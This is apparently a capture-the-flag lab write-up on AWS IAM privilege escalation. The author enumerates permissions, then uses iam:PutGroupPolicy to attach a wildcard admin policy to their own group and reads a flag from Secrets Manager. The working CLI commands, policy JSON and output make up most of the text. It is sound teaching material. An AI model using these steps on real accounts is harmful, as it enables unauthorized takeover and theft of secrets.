This lab doesn’t return a username so we need to know who we’re dealing with:
aws sts get-caller-identity
{
"UserId": "AIDA5M7PA4Z5SAUO7S4CX",
"Account": "921234892411",
"Arn": "arn:aws:iam::921234892411:user/iam-putgrouppolicy-privesc-1703019350806-SeniorArchitect"
}
Code language: JavaScript (javascript)
Now that we have our username, we’re ready to do some further enumeration:
aws iam get-user --user-name iam-putgrouppolicy-privesc-1703019350806-SeniorArchitect
{
"User": {
"Path": "/",
"UserName": "iam-putgrouppolicy-privesc-1703019350806-SeniorArchitect",
"UserId": "AIDA5M7PA4Z5SAUO7S4CX",
"Arn": "arn:aws:iam::921234892411:user/iam-putgrouppolicy-privesc-1703019350806-SeniorArchitect",
"CreateDate": "2023-12-19T20:57:00+00:00",
"PermissionsBoundary": {
"PermissionsBoundaryType": "Policy",
"PermissionsBoundaryArn": "arn:aws:iam::921234892411:policy/BoundaryPolicyInfraGroup"
},
"Tags": [
{
"Key": "cybr-lab",
"Value": "auto-deployed"
}
]
}
}
Code language: JavaScript (javascript)
As we can see, this user does have a permission boundary applied, but we’re not going to have permissions to view the boundary policy, so I’ll save you the effort.
Let’s try to enumerate what permissions we do have.
aws iam list-user-policies --user-name iam-putgrouppolicy-privesc-1703019350806-SeniorArchitect
{
"PolicyNames": []
}
Code language: PHP (php)
Nothing comes up, which means this user (our user) doesn’t have any inline policies. That means we must be getting our permissions from a Group. Let’s check it out:
aws iam list-groups
{
"Groups": [
{
"Path": "/division_it/product_lion/",
"GroupName": "iam-putgrouppolicy-privesc-1703019350806-Developers",
"GroupId": "AGPA5M7PA4Z56H7L6BU2N",
"Arn": "arn:aws:iam::921234892411:group/division_it/product_lion/iam-putgrouppolicy-privesc-1703019350806-Developers",
"CreateDate": "2023-12-19T20:55:56+00:00"
},
{
"Path": "/division_it/product_lion/",
"GroupName": "iam-putgrouppolicy-privesc-1703019350806-Infrastructure",
"GroupId": "AGPA5M7PA4Z5SKYEYUYZU",
"Arn": "arn:aws:iam::921234892411:group/division_it/product_lion/iam-putgrouppolicy-privesc-1703019350806-Infrastructure",
"CreateDate": "2023-12-19T20:55:56+00:00"
}
]
}
Code language: PHP (php)
ListGroups
is practical when you need to view all groups within the account, but it’s not very helpful in figuring out our group. Instead, we can run this with ListGroupsForUser
:
aws iam list-groups-for-user --user-name iam-putgrouppolicy-privesc-1703019350806-SeniorArchitect
{
"Groups": [
{
"Path": "/division_it/product_lion/",
"GroupName": "iam-putgrouppolicy-privesc-1703019350806-Infrastructure",
"GroupId": "AGPA5M7PA4Z5SKYEYUYZU",
"Arn": "arn:aws:iam::921234892411:group/division_it/product_lion/iam-putgrouppolicy-privesc-1703019350806-Infrastructure",
"CreateDate": "2023-12-19T20:55:56+00:00"
}
]
}
Code language: PHP (php)
That tells us exactly what our group is including the GroupName
and Arn
.
Let’s list out the policies attached to this group:
aws iam list-group-policies --group-name iam-putgrouppolicy-privesc-1703019350806-Infrastructure
{
"PolicyNames": [
"iam-putgrouppolicy-privesc-1703019350806-infrastructure"
]
}
Code language: PHP (php)
Now we can try to retrieve that policy:
aws iam get-group-policy --group-name iam-putgrouppolicy-privesc-1703019350806-Infrastructure --policy-name iam-putgrouppolicy-privesc-1703019350806-infrastructure
{
"GroupName": "iam-putgrouppolicy-privesc-1703019350806-Infrastructure",
"PolicyName": "iam-putgrouppolicy-privesc-1703019350806-infrastructure",
"PolicyDocument": {
"Version": "2012-10-17",
"Statement": [
{
"Action": [
"iam:ListGroupPolicies",
"iam:ListPolicies",
"iam:ListPolicyVersions",
"iam:ListUsers",
"iam:ListGroups",
"iam:ListGroupsForUser",
"iam:GetPolicy",
"iam:GetUser",
"iam:GetUserPolicy",
"iam:GetGroupPolicy",
"iam:ListUserPolicies"
],
"Resource": "*",
"Effect": "Allow",
"Sid": "AllowIAMActions"
},
{
"Action": [
"ec2:Describe*",
"ec2:Get*",
"dynamodb:Describe*",
"dynamodb:List*",
"s3:ListAllMyBuckets"
],
"Resource": "*",
"Effect": "Allow",
"Sid": "AllowInfrastructureActions"
},
{
"Action": [
**"iam:PutGroupPolicy"**
],
"Resource": [
"arn:aws:iam::921234892411:group/division_it/product_lion/iam-putgrouppolicy-privesc-1703019350806-Infrastructure"
],
"Effect": "Allow",
"Sid": "AllowPutGroupPolicy"
}
]
}
}
Code language: JavaScript (javascript)
I’ll let you take a look at what all is there, but the most important part is the iam:PutGroupPolicy
that allows us to run this command for our group:
put-group-policy
--group-name <value>
--policy-name <value>
--policy-document <value>
Code language: HTML, XML (xml)
We specify the group we want to add a policy to, we give the policy a name (it can be anything so long as it fits AWS’ naming requirements), and a policy document which is a JSON file.
Let’s create a policy document:
vim policy.json
{
"Version": "2012-10-17",
"Statement": [
{
"Effect": "Allow",
"Action": "*",
"Resource": "*"
}
]
}
Code language: JavaScript (javascript)
(I use vim but if you’re not comfortable with vim you can use any text editor of your choice)
Now let’s upload this policy to our group:
aws iam put-group-policy --group-name iam-putgrouppolicy-privesc-1703019350806-Infrastructure --policy-name admin --policy-document file://policy.json
Code language: JavaScript (javascript)
We won’t see a success message but we can validate that it worked with:
aws iam list-group-policies --group-name iam-putgrouppolicy-privesc-1703019350806-Infrastructure
{
"PolicyNames": [
"admin",
"iam-putgrouppolicy-privesc-1703019350806-infrastructure"
]
}
Code language: PHP (php)
We can retrieve the policy and see that it’s indeed the one we uploaded:
aws iam get-group-policy --group-name iam-putgrouppolicy-privesc-1703019350806-Infrastructure --policy-name admin
{
"GroupName": "iam-putgrouppolicy-privesc-1703019350806-Infrastructure",
"PolicyName": "admin",
"PolicyDocument": {
"Version": "2012-10-17",
"Statement": [
{
"Effect": "Allow",
"Action": "*",
"Resource": "*"
}
]
}
}
Code language: JavaScript (javascript)
Note: even though the policy you’re uploading grants admin privileges, we don’t allow admin privileges in our lab environments for security purposes and to protect our labs platform. That’s why you only have access to Secrets Manager (as you’re about to see) and the prior permissions you had at the start of the lab. However, if the AWS environment isn’t properly secured, then using the policy above would grant you admin privileges with this exploit!
Let’s see if we’re now able to access Secrets Manager:
aws secretsmanager list-secrets
{
"SecretList": [
{
"ARN": "arn:aws:secretsmanager:us-east-1:921234892411:secret:<redacted>final_flag-7AMxjl",
"Name": "iam-putgrouppolicy-privesc-1703019350806-final_flag",
"Description": "Secret containing a flag",
...REDACTED...
Code language: PHP (php)
That worked! We definitely did not have SecretsManager access at the beginning of the lab, so we’ve successfully elevated privileges for our user.
Let’s capture the flag!
aws secretsmanager get-secret-value --secret-id <redacted>final_flag
{
"ARN": "arn:aws:secretsmanager:us-east-1:921234892411:secret:<redacted>flag-7AMxjl",
"Name": "<redacted>-final_flag",
"VersionId": "629ce4dd-5f78-db4a-8c0d-bd9ad1fd0040",
"SecretString": "{\\"vault-password\\": \\"<redacted>\\"}",
"VersionStages": [
"AWSCURRENT"
],
"CreatedDate": "2023-12-19T13:55:55.150000-07:00"
}
Code language: JavaScript (javascript)
Congrats! You’ve captured the flag using the dangerous PutGroupPolicy
exploit! Go ahead and submit it as the flag!
Responses